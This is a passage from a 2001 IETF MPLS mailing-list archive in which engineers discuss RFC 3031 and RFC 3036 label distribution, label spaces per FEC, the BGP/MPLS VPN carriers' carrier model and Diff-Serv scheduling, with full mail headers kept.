Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA03990
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 02:06:46 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoya26423;
	Mon, 14 May 2001 06:06:10 GMT
Received: by mail-control.mail.uu.net 
	id QQkoya22538
	for mpls-outgoing; Mon, 14 May 2001 06:05:37 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkoya22508
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 06:05:27 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoya26012
	for <mpls@uu.net>; Mon, 14 May 2001 06:05:20 GMT
Received: from gateway.ipinfusion.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gt.dmlnet.com [209.11.132.18])
	id QQkoya25538
	for <mpls@uu.net>; Mon, 14 May 2001 06:05:20 GMT
Received: from ipinfusion.com (IDENT:root@[10.10.0.38])
	by gateway.ipinfusion.com (8.11.0/8.11.0) with ESMTP id f4E64ff25459
	for <mpls@uu.net>; Sun, 13 May 2001 23:04:41 -0700
Message-ID: <3AFF7703.F328AF3D@ipinfusion.com>
Date: Sun, 13 May 2001 23:11:15 -0700
From: Manoj Dutta <manoj@ipinfusion.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Receive Label Receive !!
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

According to RFC3036 Section A.1.4, a label should be removed from
forwarding/switching use when an upstream peer releases a label
(subsection LRl.10). Now, consider a case where a downstream LSR Rd
propagates label Ld to upstream peer Ru for a set of fec elements {f1,
f2....}. It seems like Rd will remove label Ld from forwarding/switching
for traffic from Ru even when Ru releases the label Ld for only one
fec,say f1.  Consequently, bindings of label Ld to the remaining fec
elements {f2,f3....} is also lost and all the packets bearing the label
Ld from Ru will have to be either discarded or forwarded using ip
forwarding. I think that Rd should retain label Ld till Ru releases
label Ld for all the fecs {f1, f2...}. Let me know if this is correct.

Thanks in advance
Manoj



From owner-mpls@UU.NET  Mon May 14 02:59:03 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA04581
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 02:59:02 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoyd21593;
	Mon, 14 May 2001 06:58:15 GMT
Received: by mail-control.mail.uu.net 
	id QQkoyd27347
	for mpls-outgoing; Mon, 14 May 2001 06:57:42 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoyd27342
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 06:57:39 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoyd27634
	for <mpls@UU.NET>; Mon, 14 May 2001 06:57:29 GMT
Received: from samar.sasken.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: samar.sasken.com [164.164.56.2])
	id QQkoyd21667
	for <mpls@UU.NET>; Mon, 14 May 2001 06:57:25 GMT
Received: from samar (localhost [127.0.0.1])
	by samar.sasken.com (8.11.3/8.11.3) with SMTP id f4E6vGb29338;
	Mon, 14 May 2001 12:27:16 +0530 (IST)
Received: from localhost (amg@localhost)
	by sund2.sasi.com (8.9.3/8.9.3) with ESMTP id MAA11714;
	Mon, 14 May 2001 12:27:15 +0530 (IST)
Date: Mon, 14 May 2001 12:27:15 +0530 (IST)
From: Abhijit M Gadgil <amg@sasken.com>
X-Sender:  <amg@sund2.sasi.com>
To: Manoj Dutta <manoj@ipinfusion.com>
cc: <mpls@UU.NET>
Subject: Re: Receive Label Receive !!
In-Reply-To: <3AFF7703.F328AF3D@ipinfusion.com>
Message-ID: <Pine.GSO.4.30.0105141220100.10499-100000@sund2.sasi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


manoj,

If u have a look at rfc3031, pg 15, Scope and Uniqueness of the Label, It
gives a clear picture as to when Rd can use same label for different FECs
for Upstream LSR(s). Let us suppose the Label Ld resides in some label
space LS. This will not let u distribute Ld for different FECs as it will
not be possible to distinguish the FEC from the label value. If on the
other hand the Label Ld was there in two label spaces (say per interface),
then upon receiving the label release for that Label from Upstream, u will
delete the label from the corrosponding label space and Ld can still be
used by packets for other FECs..

Hope that helps.

-abhijit

On Sun, 13 May 2001, Manoj Dutta wrote:

> Hi,
>
> According to RFC3036 Section A.1.4, a label should be removed from
> forwarding/switching use when an upstream peer releases a label
> (subsection LRl.10). Now, consider a case where a downstream LSR Rd
> propagates label Ld to upstream peer Ru for a set of fec elements {f1,
> f2....}. It seems like Rd will remove label Ld from forwarding/switching
> for traffic from Ru even when Ru releases the label Ld for only one
> fec,say f1.  Consequently, bindings of label Ld to the remaining fec
> elements {f2,f3....} is also lost and all the packets bearing the label
> Ld from Ru will have to be either discarded or forwarded using ip
> forwarding. I think that Rd should retain label Ld till Ru releases
> label Ld for all the fecs {f1, f2...}. Let me know if this is correct.
>
> Thanks in advance
> Manoj
>



From owner-mpls@UU.NET  Mon May 14 03:46:22 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA05081
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 03:46:22 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoyh06496;
	Mon, 14 May 2001 07:45:47 GMT
Received: by mail-control.mail.uu.net 
	id QQkoyh20188
	for mpls-outgoing; Mon, 14 May 2001 07:45:08 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkoyg19959
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 07:44:57 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoyg02895
	for <mpls@uu.net>; Mon, 14 May 2001 07:44:03 GMT
Received: from gateway.ipinfusion.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gt.dmlnet.com [209.11.132.18])
	id QQkoyg04920
	for <mpls@uu.net>; Mon, 14 May 2001 07:44:01 GMT
Received: from ipinfusion.com (IDENT:root@[10.10.0.38])
	by gateway.ipinfusion.com (8.11.0/8.11.0) with ESMTP id f4E7hLf25762
	for <mpls@uu.net>; Mon, 14 May 2001 00:43:21 -0700
Message-ID: <3AFF8E23.2FE45914@ipinfusion.com>
Date: Mon, 14 May 2001 00:49:55 -0700
From: Manoj Dutta <manoj@ipinfusion.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Label Mapping mesage !!
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

hi,

Is is possible for a given LSR Rd to distribute the same label mapping
for more than one fec elements to another LSR Ru while using platform
wide label space only. If so, then what are the possible scenarios.

thanks
manoj



From owner-mpls@UU.NET  Mon May 14 04:39:39 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA05566
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 04:39:38 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoyk21439;
	Mon, 14 May 2001 08:38:48 GMT
Received: by mail-control.mail.uu.net 
	id QQkoyk13263
	for mpls-outgoing; Mon, 14 May 2001 08:38:16 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkoyk13254
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 08:38:10 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoyk24068
	for <mpls@uu.net>; Mon, 14 May 2001 08:37:50 GMT
Received: from huaweimail.in.huawei.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.168.164])
	id QQkoyk24797
	for <mpls@uu.net>; Mon, 14 May 2001 08:37:44 GMT
Received: by HUAWEIMAIL with Internet Mail Service (5.5.2653.19)
	id <K7NRFVYT>; Mon, 14 May 2001 14:10:36 +0500
Message-ID: <751B6DD7A243D511AB9F0002557C568707072D@HUAWEIMAIL>
From: Bhupesh Bajaj <bhupeshb@in.huawei.com>
To: Manoj Dutta <manoj@ipinfusion.com>
Cc: mpls@UU.NET, mpls-ops@mplsrc.com
Subject: RE: Label Mapping mesage !!
Date: Mon, 14 May 2001 14:10:35 +0500
Importance: high
X-Priority: 1
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

hi...
as specified in RFC 3031..in section 3.14 "scope and uniqueness....."

"A given LSR Rd may bind label L to FEC F1, and distribute that
   binding to label distribution peer Ru1.  Rd may also bind label L to
   FEC F2, and distribute that binding to label distribution peer Ru2.
   IF (AND ONLY IF) RD CAN TELL, WHEN IT RECEIVES A PACKET WHOSE TOP
   LABEL IS L, WHETHER THE LABEL WAS PUT THERE BY RU1 OR BY RU2, THEN
   THE ARCHITECTURE DOES NOT REQUIRE THAT F1 == F2.  In such cases, we
   may say that Rd is using a different "label space" for the labels it
   distributes to Ru1 than for the labels it distributes to Ru2."

it gets clear that the the Rd may specify the same label BUT the label space
used for the Ru1 and Ru2 will be different.

or in other words , if its using Per Platform Label space, the Rd MUST not 
specify the Same Label for different FEC's possibly belonging to different
Ru's.

Correct me If i am wrong

thanks and regards
bhupesh



-----Original Message-----
From: Manoj Dutta [mailto:manoj@ipinfusion.com]
Sent: Monday, May 14, 2001 1:20 PM
To: mpls@UU.NET
Subject: Label Mapping mesage !!


hi,

Is is possible for a given LSR Rd to distribute the same label mapping
for more than one fec elements to another LSR Ru while using platform
wide label space only. If so, then what are the possible scenarios.

thanks
manoj


From owner-mpls@UU.NET  Mon May 14 04:45:40 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA05596
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 04:45:40 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoyk06080;
	Mon, 14 May 2001 08:44:39 GMT
Received: by mail-control.mail.uu.net 
	id QQkoyk13677
	for mpls-outgoing; Mon, 14 May 2001 08:43:59 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoyk13664
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 08:43:50 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoyk15589
	for <mpls@UU.NET>; Mon, 14 May 2001 08:43:03 GMT
From: ytr@123india.com
Received: from c001.zsm.cp.net by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: c001-h010.c001.zsm.cp.net [209.228.56.124])
	id QQkoyk29933
	for <mpls@UU.NET>; Mon, 14 May 2001 08:43:02 GMT
Received: (cpmta 13032 invoked from network); 14 May 2001 01:42:57 -0700
Date: 14 May 2001 01:42:56 -0700
Message-ID: <20010514084256.13025.cpmta@c001.zsm.cp.net>
X-Sent: 14 May 2001 08:42:56 GMT
Received: from [192.52.59.67] by mail.123india.com with HTTP;
    14 May 2001 01:42:56 PDT
Content-Type: text/plain
Content-Disposition: inline
Mime-Version: 1.0
To: manoj@ipinfusion.com
Cc: mpls@UU.NET
X-Mailer: Web Mail 3.9.1.6
Subject: Re: Label Mapping mesage !!
X-Sent-From: ytr@123india.com
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
  I think it may not possible for having same label between two routes with different LSPs ( each LSP associated with FEC). The FEC definition indicates "set of packets forwarded in the same manner". In MPLS domain the forwarding info associated with the label. So with the same label one can't have different forwarding informations. If u use same label for different EFC, the FEC definition contradicts.

 But its possible in case of merging i.e the "Rd" have more than one peers like "Ru1","Ru2"... . In this case Ru1, Ru2 may use same label for forwarding traffic to Rd. 
  If I am wrong pls correct me.

Thanks
YTR  

On Mon, 14 May 2001, Manoj Dutta wrote:

> 
> hi,
> 
> Is is possible for a given LSR Rd to distribute the same label mapping
> for more than one fec elements to another LSR Ru while using platform
> wide label space only. If so, then what are the possible scenarios.
> 
> thanks
> manoj


______________________________________________________
123India.com - India's Premier Portal 
Get your Free Email Account at http://www.123india.com




From owner-mpls@UU.NET  Mon May 14 04:47:20 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA05609
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 04:47:20 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoyl07469;
	Mon, 14 May 2001 08:45:43 GMT
Received: by mail-control.mail.uu.net 
	id QQkoyk13691
	for mpls-outgoing; Mon, 14 May 2001 08:44:05 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoyk13669
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 08:43:51 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoyk16786
	for <mpls@uu.net>; Mon, 14 May 2001 08:43:28 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkoyk26445
	for <mpls@uu.net>; Mon, 14 May 2001 08:43:22 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id EAA08440 for mpls@uu.net; Mon, 14 May 2001 04:43:21 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoyk13629
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 08:42:56 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoyk09905
	for <mpls@UU.NET>; Mon, 14 May 2001 08:41:09 GMT
Received: from cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: london2.cisco.com [144.254.32.10])
	id QQkoyk02925
	for <mpls@UU.NET>; Mon, 14 May 2001 08:41:08 GMT
Received: from JGUICHAR-W2K.cisco.com (jguichar-isdn-home.cisco.com [10.49.131.222])
	by cisco.com (8.8.8+Sun/8.8.8) with ESMTP id KAA19623;
	Mon, 14 May 2001 10:36:24 +0200 (MET DST)
Message-Id: <4.3.2.7.2.20010514092828.01adc050@london2.cisco.com>
X-Sender: jguichar@london2.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 14 May 2001 09:35:21 +0100
To: Sasha Vainshtein <Sasha@AXERRA.com>
From: jim guichard <jguichar@cisco.com>
Subject: RE: BGP/MPLS VPN PE LSR
Cc: "Metz, Eduard" <Eduard.Metz@KPNQwest.com>,
        "'Shahram Davari'" <Shahram_Davari@pmc-sierra.com>,
        "'mpls@uu.net'" <mpls@UU.NET>, Alik Shimelmits <alik@AXERRA.com>,
        Elena Vinkler <elena@AXERRA.com>
In-Reply-To: <AF5018AC03D1D411ABB70002A5091326039D0F@TLV1>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

Sasha,

At 11:03 14/05/2001 +0200, Sasha Vainshtein wrote:
>Regarding the Carriers Carrier model:
>My assumption is that in this model the label on the packet
>sent by the upstream CE router to its appropriate  PE has been assigned
>(to some FEC)

your assumption is not correct. The label that the CE will use is 
distributed by its upstream PE router. The external routes of the site are 
distributed to other sites using iBGP. The BGP next-hops for these prefixes 
are exchanged with the MPLS VPN backbone using standard routing protocols 
but also LDP label distribution. The BGP next-hops are placed into the PE 
routers VRF and then advertised across the backbone as VPNv4 prefixes. Once 
imported into the receiving PE routers VRF, they are advertised using 
standard routing protocols to the CE but also with LDP label distribution. 
All of this provides an end-to-end LSP between ASBRs in different sites, 
and provides the ability to off load large amounts of prefix information 
from the MPLS VPN backbone .. Jim

>  by the peer downstream CE router at the
>other side of the CE<-->CE tunnel and then distributed to
>the upstream CE (e.g., via a direct LDP session between the two CE routers)
>  without any involvement of the PE routers (save from that that
>they provide an IP VPN connectivity between CEs
>so that the latter can run LDP sessions between them).
>This means that PE cannot do anything with such a label per se!
>One way to overcome siuch a situation would be for the two CEs to run either
>
>MPLS-in-IP or MPLS-in-GRE between them as described in
><draft-worster-mpls-in-ip-04.txt>.
>
>With best regards,
>                                    Sasha Vainshtein
>email:     sasha@axerra.com
>tel:       +972-3-7659993 (office)
>            +972-8-9254948 (res.)
>            +972-58-674833 (cell.)
>
>
>
> > -----Original Message-----
> > From: jim guichard [mailto:jguichar@cisco.com]
> > Sent: Thursday, May 10, 2001 11:41 AM
> > To: Metz, Eduard
> > Cc: 'Shahram Davari'; 'mpls@uu.net'
> > Subject: RE: BGP/MPLS VPN PE LSR
> >
> >
> > The case where a PE will receive a labelled packet is
> > referred to as the
> > Carriers Carrier architecture and it has several flavours. In
> > the case
> > where the VPN site is running MPLS, then you will see a two
> > level label
> > stack across the carrier backbone. A three level label stack
> > will be seen
> > when the VPN site is running MPLS VPN and this is referred to as a
> > hierarchical VPN. Jim
> >
> > At 10:43 10/05/2001 +0200, Metz, Eduard wrote:
> >
> > >I assume you are referring to the 'carriers-carrier' model.
> > This section in
> > >the draft is pretty vague. However, are you sure 2 labels
> > will be added?
> > >Could the PE not also use the customer label as the inner
> > label (and thus
> > >swap it)?
> > >
> > >
> > > > -----Original Message-----
> > > > From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> > > > Sent: 09 May 2001 21:16
> > > > To: 'mpls@uu.net'
> > > > Subject: BGP/MPLS VPN PE LSR
> > > >
> > > >
> > > > Hi,
> > > >
> > > > In an BGP/MPLS VPN scenario if a CE router sends an MPLS
> > > > packet rather than an IP packet to a PE router, the PE router
> > > > should still push 2 labels. My question is, should the PE
> > > > router swap the customer's label too or leave it unchanged?
> > > >
> > > > Yours,
> > > > -Shahram
> > > >
> > > >
> >
> >
> >
> > Jim Guichard CCIE #2069
> > Technical Leader EMEA
> >
> > +44 208 756 8806
> > Mobile: +44 7802 809763
> >



Jim Guichard CCIE #2069
Technical Leader EMEA

+44 208 756 8806
Mobile: +44 7802 809763



From owner-mpls@UU.NET  Mon May 14 05:53:44 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA06053
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 05:53:43 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoyp09627;
	Mon, 14 May 2001 09:52:30 GMT
Received: by mail-control.mail.uu.net 
	id QQkoyp08527
	for mpls-outgoing; Mon, 14 May 2001 09:51:58 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkoyp08489
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 09:51:43 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoyp24274
	for <mpls@UU.NET>; Mon, 14 May 2001 09:50:29 GMT
Received: from india.mercurykr.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [165.133.13.60])
	id QQkoyp28911
	for <mpls@UU.NET>; Mon, 14 May 2001 09:50:13 GMT
Received: from akshat (rahul [165.133.13.21])
	by india.mercurykr.com (8.8.8+Sun/8.8.8) with SMTP id PAA27157;
	Mon, 14 May 2001 15:12:41 -0600 (GMT)
Message-ID: <005001c0dc5b$79e8abc0$150d85a5@dti.daewoo.co.kr>
From: "Akshat Kapoor" <akshat@mercurykr.com>
To: "Manoj Dutta" <manoj@ipinfusion.com>, <mpls@UU.NET>
References: <3AFF8E23.2FE45914@ipinfusion.com>
Subject: Re: Label Mapping mesage !!
Date: Mon, 14 May 2001 15:21:20 +0530
Organization: Mercury Corp. (Formerly Daewoo Telecom Ltd)
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi Manoj,
    Refer to section 3.14 of rfc 3031

"If a particular LSR Rd is attached to a particular LSR Ru over two
   point-to-point interfaces, then Rd may distribute to Ru a binding of
   label L to FEC F1, as well as a binding of label L to FEC F2, F1 !=
   F2, if and only if each binding is valid only for packets which Ru
   sends to Rd over a particular one of the interfaces.  In all other
   cases, Rd MUST NOT distribute to Ru bindings of the same label value
   to two different FECs."


Akshat

----- Original Message ----- 
From: "Manoj Dutta" <manoj@ipinfusion.com>
To: <mpls@UU.NET>
Sent: Monday, May 14, 2001 1:19 PM
Subject: Label Mapping mesage !!


> hi,
> 
> Is is possible for a given LSR Rd to distribute the same label mapping
> for more than one fec elements to another LSR Ru while using platform
> wide label space only. If so, then what are the possible scenarios.
> 
> thanks
> manoj
> 
> 



From owner-mpls@UU.NET  Mon May 14 09:34:30 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA10852
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 09:34:29 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoze15380;
	Mon, 14 May 2001 13:33:47 GMT
Received: by mail-control.mail.uu.net 
	id QQkoze12533
	for mpls-outgoing; Mon, 14 May 2001 13:33:11 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoze12523
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 13:33:05 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkozd24803
	for <mpls@uu.net>; Mon, 14 May 2001 13:28:47 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkozd27500
	for <mpls@uu.net>; Mon, 14 May 2001 13:28:47 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id JAA20267 for mpls@uu.net; Mon, 14 May 2001 09:28:47 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkozd12113
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 13:28:15 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkozd03698
	for <mpls@UU.NET>; Mon, 14 May 2001 13:23:48 GMT
Received: from mother.pmc-sierra.bc.ca by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: mother.pmc-sierra.bc.ca [216.241.224.12])
	id QQkozd17083
	for <mpls@UU.NET>; Mon, 14 May 2001 13:23:48 GMT
Received: (qmail 26152 invoked by uid 104); 14 May 2001 13:23:47 -0000
Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-0.93 (uvscan: v4.0.70/v4074. . Clean. Processed in 0.395099 secs); 14/05/2001 06:23:47
Received: from unknown (HELO procyon.pmc-sierra.bc.ca) (134.87.115.1)
  by mother.pmc-sierra.bc.ca with SMTP; 14 May 2001 13:23:46 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by procyon.pmc-sierra.bc.ca (dave/8.11.2) with ESMTP id f4EDNk122724;
	Mon, 14 May 2001 06:23:46 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <KHBJB518>; Mon, 14 May 2001 06:26:44 -0700
Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C4E@BBY1EXM01>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'Wayne W. Szeto'" <wwszeto@hopper.math.uwaterloo.ca>, mpls@UU.NET
Subject: RE: clarification on "MPLS support of Diff-Serv"
Date: Mon, 14 May 2001 06:26:43 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

This draft is about supporting Diffserv. In Diffserv there is no per-flow scheduling, rather per-class (aggregate) scheduling. The way that it works in your example is that at the edge the L-LSPs are policed to 5Mbit/s an 10Mbit/s respectively and in the core enough BW is reserved for the aggregate (10+5=15Mbit/s). Therefore without explicitly scheduling per-LSP flows, the class scheduler could schedule them correctly and maintain the 2 to 1 ratio that you were talking about.

Yours,
-Shahram

> -----Original Message-----
> From: Wayne W. Szeto [mailto:wwszeto@hopper.math.uwaterloo.ca]
> Sent: Sunday, May 13, 2001 6:29 PM
> To: mpls@UU.NET
> Subject: clarification on "MPLS support of Diff-Serv"
> 
> 
> On p6, second paragraph of the "MPLS support of Diff-Serv" 
> document, it
> reads "... establishing an E-LSP or L-LSP with bandwidth 
> reservation does
> not mean that per-LSP scheduling is required...".  I'm not sure why
> per-LSP scheduling is not required.  If there are two L-LSPs, carrying
> packets that has the same PHB, and they intersect on a link where they
> have reserved 5Mbits and 10Mbits of bandwidth respectively.  
> Then without
> per-LSP scheduling, their packets will be treated without 
> consideration on
> their reserved bandwidth.  I would expect that for every 
> packets of the
> first L-LSP transmitted on the intersecting link, two packets of the
> second L-LSP will be transmitted.  However, when there're no per-LSP
> scheduling, I don't see how this could happen.  Could someone explain
> whats the true meaning of the quote above?  
> 
> Wayne
> 



From owner-mpls@UU.NET  Mon May 14 09:56:50 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA11780
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 09:56:50 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkozf25602;
	Mon, 14 May 2001 13:55:42 GMT
Received: by mail-control.mail.uu.net 
	id QQkozf15268
	for mpls-outgoing; Mon, 14 May 2001 13:55:09 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkozf15262
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 13:55:04 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
